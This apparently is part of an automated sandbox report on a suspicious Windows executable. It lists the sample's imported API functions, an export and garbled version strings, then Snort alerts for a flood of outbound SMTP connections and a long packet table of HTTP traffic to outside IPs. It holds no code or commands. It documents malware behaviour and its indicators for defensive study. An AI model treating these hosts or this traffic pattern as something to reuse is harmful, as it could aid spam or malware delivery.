GetConsoleAliasesLengthW, WriteConsoleOutputCharacterA, BuildCommDCBAndTimeoutsA, InterlockedIncrement, InterlockedDecrement, GetCurrentProcess, GetSystemWindowsDirectoryW, SetEnvironmentVariableW, GetSystemDefaultLCID, GetModuleHandleW, EnumCalendarInfoExW, SetThreadUILanguage, GetConsoleAliasesLengthA, GetEnvironmentStrings, GetConsoleCP, ReadConsoleInputA, SetVolumeMountPointA, WriteConsoleOutputA, LeaveCriticalSection, lstrcpynW, SetConsoleCursorPosition, GetFileAttributesW, IsBadWritePtr, GetMailslotInfo, GetModuleFileNameW, GetTimeZoneInformation, LocalUnlock, lstrlenW, FlushFileBuffers, InterlockedExchange, FillConsoleOutputCharacterW, ChangeTimerQueueTimer, SetLastError, GetProcAddress, PeekConsoleInputW, BeginUpdateResourceW, EnumDateFormatsExA, CreateTimerQueueTimer, GlobalGetAtomNameA, ResetEvent, GetLocalTime, LoadLibraryA, WriteConsoleA, LocalAlloc, SetConsoleOutputCP, SetFileApisToANSI, GetOEMCP, GetModuleHandleA, HeapSetInformation, GetConsoleTitleW, GetCPInfoExA, FindFirstVolumeA, ReleaseMutex, DeleteTimerQueueTimer, GetCurrentProcessId, GetConsoleProcessList, lstrcatA, GetSystemDefaultLangID, UnhandledExceptionFilter, SetUnhandledExceptionFilter, HeapAlloc, GetCommandLineA, GetStartupInfoA, RaiseException, RtlUnwind, Sleep, ExitProcess, GetLastError, WriteFile, GetStdHandle, GetModuleFileNameA, TerminateProcess, IsDebuggerPresent, HeapFree, DeleteCriticalSection, EnterCriticalSection, VirtualFree, VirtualAlloc, HeapReAlloc, HeapCreate, FreeEnvironmentStringsA, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetFileType, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, HeapSize, GetCPInfo, GetACP, IsValidCodePage, GetLocaleInfoA, LCMapStringA, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW

USER32.dll

GetAltTabInfoW

Exports

Name	Ordinal	Address
@SetFirstEverVice@8	1	0x401065

Version Infos

Description	Data
InternalName	sagzmioloke.awi
ProductVersion	7.59.22.123
Copyright	Copyrighz (C) 2021, fudkageta
Translation	0x0123 0x022e

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
08/24/21-14:03:11.843256	TCP	567	POLICY SMTP relaying denied	25	49752	104.47.18.97	192.168.2.3
08/24/21-14:03:12.034278	TCP	567	POLICY SMTP relaying denied	25	49748	104.47.74.33	192.168.2.3
08/24/21-14:03:12.332351	TCP	567	POLICY SMTP relaying denied	25	49763	104.47.17.97	192.168.2.3
08/24/21-14:03:12.338987	TCP	567	POLICY SMTP relaying denied	25	49762	104.47.17.97	192.168.2.3
08/24/21-14:03:12.659643	TCP	567	POLICY SMTP relaying denied	25	49765	104.47.17.97	192.168.2.3
08/24/21-14:03:12.674090	TCP	567	POLICY SMTP relaying denied	25	49764	104.47.17.97	192.168.2.3
08/24/21-14:03:12.919067	TCP	567	POLICY SMTP relaying denied	25	49766	104.47.18.225	192.168.2.3
08/24/21-14:03:12.940808	TCP	567	POLICY SMTP relaying denied	25	49767	104.47.18.225	192.168.2.3
08/24/21-14:03:13.161472	TCP	567	POLICY SMTP relaying denied	25	49769	104.47.18.225	192.168.2.3
08/24/21-14:03:13.192294	TCP	567	POLICY SMTP relaying denied	25	49770	104.47.18.225	192.168.2.3
08/24/21-14:03:13.455254	TCP	567	POLICY SMTP relaying denied	25	49772	104.47.17.97	192.168.2.3
08/24/21-14:03:13.461519	TCP	567	POLICY SMTP relaying denied	25	49771	104.47.17.97	192.168.2.3
08/24/21-14:03:13.715776	TCP	567	POLICY SMTP relaying denied	25	49774	104.47.18.225	192.168.2.3
08/24/21-14:03:13.732093	TCP	567	POLICY SMTP relaying denied	25	49773	104.47.18.225	192.168.2.3
08/24/21-14:03:13.956568	TCP	567	POLICY SMTP relaying denied	25	49775	104.47.18.225	192.168.2.3
08/24/21-14:03:13.964682	TCP	567	POLICY SMTP relaying denied	25	49776	104.47.18.225	192.168.2.3
08/24/21-14:03:14.291761	TCP	567	POLICY SMTP relaying denied	25	49778	104.47.17.97	192.168.2.3
08/24/21-14:03:14.297536	TCP	567	POLICY SMTP relaying denied	25	49777	104.47.17.97	192.168.2.3
08/24/21-14:03:14.306878	TCP	567	POLICY SMTP relaying denied	25	49768	77.75.76.42	192.168.2.3
08/24/21-14:03:14.581008	TCP	567	POLICY SMTP relaying denied	25	49779	104.47.18.225	192.168.2.3
08/24/21-14:03:14.582423	TCP	567	POLICY SMTP relaying denied	25	49780	104.47.18.225	192.168.2.3
08/24/21-14:03:14.903256	TCP	567	POLICY SMTP relaying denied	25	49782	104.47.17.97	192.168.2.3
08/24/21-14:03:14.905615	TCP	567	POLICY SMTP relaying denied	25	49781	104.47.17.97	192.168.2.3
08/24/21-14:03:15.171743	TCP	567	POLICY SMTP relaying denied	25	49785	104.47.17.97	192.168.2.3
08/24/21-14:03:15.181662	TCP	567	POLICY SMTP relaying denied	25	49784	104.47.17.97	192.168.2.3
08/24/21-14:03:15.448618	TCP	567	POLICY SMTP relaying denied	25	49788	104.47.17.97	192.168.2.3
08/24/21-14:03:15.460770	TCP	567	POLICY SMTP relaying denied	25	49787	104.47.17.97	192.168.2.3
08/24/21-14:03:15.641562	TCP	567	POLICY SMTP relaying denied	25	49789	104.47.17.97	192.168.2.3
08/24/21-14:03:15.693624	TCP	567	POLICY SMTP relaying denied	25	49790	104.47.18.225	192.168.2.3
08/24/21-14:03:15.694622	TCP	567	POLICY SMTP relaying denied	25	49791	104.47.18.225	192.168.2.3
08/24/21-14:03:16.207192	TCP	567	POLICY SMTP relaying denied	25	49794	104.47.6.33	192.168.2.3
08/24/21-14:03:16.282633	TCP	567	POLICY SMTP relaying denied	25	49792	104.47.17.97	192.168.2.3
08/24/21-14:03:16.644020	TCP	567	POLICY SMTP relaying denied	25	49796	104.47.18.225	192.168.2.3
08/24/21-14:03:16.685416	TCP	567	POLICY SMTP relaying denied	25	49795	104.47.18.225	192.168.2.3
08/24/21-14:03:17.033247	TCP	567	POLICY SMTP relaying denied	25	49800	104.47.17.97	192.168.2.3
08/24/21-14:03:17.332777	TCP	567	POLICY SMTP relaying denied	25	49799	104.47.17.97	192.168.2.3
08/24/21-14:03:17.745309	TCP	567	POLICY SMTP relaying denied	25	49801	104.47.13.33	192.168.2.3
08/24/21-14:03:17.854496	TCP	567	POLICY SMTP relaying denied	25	49802	104.47.17.97	192.168.2.3
08/24/21-14:03:18.130773	TCP	567	POLICY SMTP relaying denied	25	49803	104.47.18.225	192.168.2.3
08/24/21-14:03:18.131005	TCP	567	POLICY SMTP relaying denied	25	49804	104.47.18.225	192.168.2.3
08/24/21-14:03:18.500032	TCP	567	POLICY SMTP relaying denied	25	49805	104.47.17.97	192.168.2.3
08/24/21-14:03:18.512561	TCP	567	POLICY SMTP relaying denied	25	49806	104.47.17.97	192.168.2.3
08/24/21-14:03:18.949269	TCP	567	POLICY SMTP relaying denied	25	49808	104.47.18.225	192.168.2.3
08/24/21-14:03:19.017947	TCP	567	POLICY SMTP relaying denied	25	49807	104.47.13.33	192.168.2.3
08/24/21-14:03:19.268470	TCP	567	POLICY SMTP relaying denied	25	49809	104.47.18.225	192.168.2.3
08/24/21-14:03:19.690665	TCP	567	POLICY SMTP relaying denied	25	49810	104.47.6.33	192.168.2.3
08/24/21-14:03:19.923453	TCP	567	POLICY SMTP relaying denied	25	49812	104.47.18.225	192.168.2.3
08/24/21-14:03:20.003871	TCP	567	POLICY SMTP relaying denied	25	49813	104.47.18.225	192.168.2.3
08/24/21-14:03:20.211854	TCP	567	POLICY SMTP relaying denied	25	49815	104.47.18.225	192.168.2.3
08/24/21-14:03:20.223293	TCP	567	POLICY SMTP relaying denied	25	49816	104.47.18.225	192.168.2.3
08/24/21-14:03:20.486850	TCP	567	POLICY SMTP relaying denied	25	49817	104.47.18.225	192.168.2.3
08/24/21-14:03:20.488960	TCP	567	POLICY SMTP relaying denied	25	49818	104.47.18.225	192.168.2.3
08/24/21-14:03:20.516886	TCP	567	POLICY SMTP relaying denied	25	49783	66.84.121.114	192.168.2.3
08/24/21-14:03:22.351710	TCP	567	POLICY SMTP relaying denied	25	49821	104.47.18.225	192.168.2.3
08/24/21-14:03:23.250175	TCP	567	POLICY SMTP relaying denied	25	49823	104.47.17.97	192.168.2.3
08/24/21-14:03:25.432782	TCP	567	POLICY SMTP relaying denied	25	49825	104.47.17.97	192.168.2.3
08/24/21-14:03:25.951082	TCP	567	POLICY SMTP relaying denied	25	49827	104.47.17.97	192.168.2.3
08/24/21-14:03:27.110930	TCP	567	POLICY SMTP relaying denied	25	49828	104.47.17.97	192.168.2.3
08/24/21-14:03:27.808386	TCP	567	POLICY SMTP relaying denied	25	49831	104.47.17.97	192.168.2.3
08/24/21-14:03:27.813570	TCP	567	POLICY SMTP relaying denied	25	49830	104.47.17.97	192.168.2.3
08/24/21-14:03:28.236215	TCP	567	POLICY SMTP relaying denied	25	49833	104.47.17.97	192.168.2.3
08/24/21-14:03:28.236447	TCP	567	POLICY SMTP relaying denied	25	49832	104.47.17.97	192.168.2.3
08/24/21-14:03:28.859856	TCP	567	POLICY SMTP relaying denied	25	49835	104.47.17.97	192.168.2.3
08/24/21-14:03:28.859939	TCP	567	POLICY SMTP relaying denied	25	49834	104.47.17.97	192.168.2.3
08/24/21-14:03:29.156043	TCP	567	POLICY SMTP relaying denied	25	49837	104.47.17.97	192.168.2.3
08/24/21-14:03:29.165058	TCP	567	POLICY SMTP relaying denied	25	49838	104.47.17.97	192.168.2.3
08/24/21-14:03:29.543079	TCP	567	POLICY SMTP relaying denied	25	49839	104.47.17.97	192.168.2.3
08/24/21-14:03:29.558910	TCP	567	POLICY SMTP relaying denied	25	49840	104.47.17.97	192.168.2.3
08/24/21-14:03:29.841322	TCP	567	POLICY SMTP relaying denied	25	49842	104.47.17.97	192.168.2.3
08/24/21-14:03:29.846528	TCP	567	POLICY SMTP relaying denied	25	49843	104.47.17.97	192.168.2.3
08/24/21-14:03:30.127067	TCP	567	POLICY SMTP relaying denied	25	49845	104.47.17.97	192.168.2.3
08/24/21-14:03:30.137295	TCP	567	POLICY SMTP relaying denied	25	49844	104.47.17.97	192.168.2.3
08/24/21-14:03:30.400043	TCP	567	POLICY SMTP relaying denied	25	49846	104.47.17.97	192.168.2.3
08/24/21-14:03:30.406964	TCP	567	POLICY SMTP relaying denied	25	49847	104.47.17.97	192.168.2.3
08/24/21-14:03:30.700987	TCP	567	POLICY SMTP relaying denied	25	49848	104.47.6.33	192.168.2.3
08/24/21-14:03:30.774085	TCP	567	POLICY SMTP relaying denied	25	49849	104.47.17.97	192.168.2.3
08/24/21-14:03:31.531179	TCP	567	POLICY SMTP relaying denied	25	49850	104.47.55.33	192.168.2.3
08/24/21-14:03:31.534690	TCP	567	POLICY SMTP relaying denied	25	49851	104.47.55.33	192.168.2.3
08/24/21-14:03:31.822334	TCP	567	POLICY SMTP relaying denied	25	49853	104.47.17.97	192.168.2.3
08/24/21-14:03:31.827896	TCP	567	POLICY SMTP relaying denied	25	49852	104.47.17.97	192.168.2.3
08/24/21-14:03:32.063585	TCP	567	POLICY SMTP relaying denied	25	49855	104.47.6.33	192.168.2.3
08/24/21-14:03:32.143320	TCP	567	POLICY SMTP relaying denied	25	49854	104.47.17.97	192.168.2.3
08/24/21-14:03:32.888711	TCP	567	POLICY SMTP relaying denied	25	49858	104.47.55.33	192.168.2.3
08/24/21-14:03:32.892083	TCP	567	POLICY SMTP relaying denied	25	49857	104.47.55.33	192.168.2.3
08/24/21-14:03:33.201542	TCP	567	POLICY SMTP relaying denied	25	49859	104.47.17.97	192.168.2.3
08/24/21-14:03:33.204570	TCP	567	POLICY SMTP relaying denied	25	49860	104.47.17.97	192.168.2.3
08/24/21-14:03:33.509351	TCP	567	POLICY SMTP relaying denied	25	49862	104.47.0.33	192.168.2.3
08/24/21-14:03:34.022801	TCP	567	POLICY SMTP relaying denied	25	49861	104.47.55.33	192.168.2.3
08/24/21-14:03:34.699262	TCP	567	POLICY SMTP relaying denied	25	49864	104.47.58.33	192.168.2.3
08/24/21-14:03:35.076276	TCP	567	POLICY SMTP relaying denied	25	49865	104.47.51.33	192.168.2.3
08/24/21-14:03:35.315479	TCP	567	POLICY SMTP relaying denied	25	49867	104.47.6.33	192.168.2.3
08/24/21-14:03:35.364655	TCP	567	POLICY SMTP relaying denied	25	49866	104.47.58.33	192.168.2.3
08/24/21-14:03:36.121072	TCP	567	POLICY SMTP relaying denied	25	49870	104.47.55.33	192.168.2.3
08/24/21-14:03:36.273489	TCP	567	POLICY SMTP relaying denied	25	49871	104.47.73.161	192.168.2.3
08/24/21-14:03:36.945475	TCP	567	POLICY SMTP relaying denied	25	49873	104.47.58.33	192.168.2.3
08/24/21-14:03:36.988393	TCP	567	POLICY SMTP relaying denied	25	49872	104.47.55.33	192.168.2.3
08/24/21-14:03:37.721533	TCP	567	POLICY SMTP relaying denied	25	49874	104.47.55.33	192.168.2.3
08/24/21-14:03:37.726948	TCP	567	POLICY SMTP relaying denied	25	49875	104.47.55.33	192.168.2.3
08/24/21-14:03:38.536085	TCP	567	POLICY SMTP relaying denied	25	49877	104.47.55.33	192.168.2.3
08/24/21-14:03:38.538219	TCP	567	POLICY SMTP relaying denied	25	49876	104.47.55.33	192.168.2.3
08/24/21-14:03:39.216424	TCP	567	POLICY SMTP relaying denied	25	49878	104.47.58.33	192.168.2.3
08/24/21-14:03:39.233182	TCP	567	POLICY SMTP relaying denied	25	49879	104.47.58.33	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 24, 2021 14:01:16.862596035 CEST	49715	80	192.168.2.3	95.213.224.6
Aug 24, 2021 14:01:19.869278908 CEST	49715	80	192.168.2.3	95.213.224.6
Aug 24, 2021 14:01:25.940169096 CEST	49715	80	192.168.2.3	95.213.224.6
Aug 24, 2021 14:01:28.582233906 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.605600119 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.605858088 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.617388010 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.617446899 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.639801979 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.639827013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.695416927 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.695451975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.695472956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.695491076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.695512056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.695532084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.695549965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.695571899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.695595026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.695611954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.695647955 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.695683956 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.695700884 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.717922926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.717950106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.717978001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718000889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718022108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718044043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718049049 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.718065023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718071938 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.718086004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718091011 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.718107939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718126059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718151093 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718173981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718177080 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.718194008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718215942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718216896 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.718235970 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718256950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718267918 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.718272924 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.718276978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718297958 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718303919 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.718318939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718339920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.718353987 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.718378067 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741079092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741116047 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741137028 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741158962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741180897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741202116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741225958 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741249084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741267920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741283894 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741287947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741303921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741328955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741329908 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741352081 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741370916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741391897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741394043 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741413116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741429090 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741439104 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741446018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741466999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741477966 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741487026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741507053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741517067 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741529942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741540909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741552114 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741568089 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741570950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741591930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741611958 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741625071 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741631031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741652012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741671085 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741672993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741697073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741719007 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741736889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741744041 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741756916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741761923 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741779089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741782904 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741800070 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741820097 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741823912 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741838932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741863012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741866112 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741884947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741904974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.741919041 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.741944075 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.764451981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764481068 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764501095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764517069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764585972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764615059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764637947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764657974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764678955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764699936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764719963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764739990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764759064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764784098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764802933 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.764806986 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764832020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764856100 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764884949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764906883 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.764914036 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764955997 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.764961004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.764983892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765010118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765012026 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.765038967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765064955 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.765069008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765096903 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765098095 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.765122890 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.765122890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765155077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765182972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765182972 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.765208006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765234947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765253067 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.765263081 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765288115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765288115 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.765321016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765347004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765348911 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.765410900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765435934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765458107 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.765486956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765515089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765532970 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.765541077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765572071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765599966 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.765599966 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765642881 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765660048 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.765664101 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765680075 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765701056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765726089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765749931 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.765750885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765783072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.765913963 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.766109943 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.788337946 CEST	80	49723	212.224.105.79	192.168.2.3
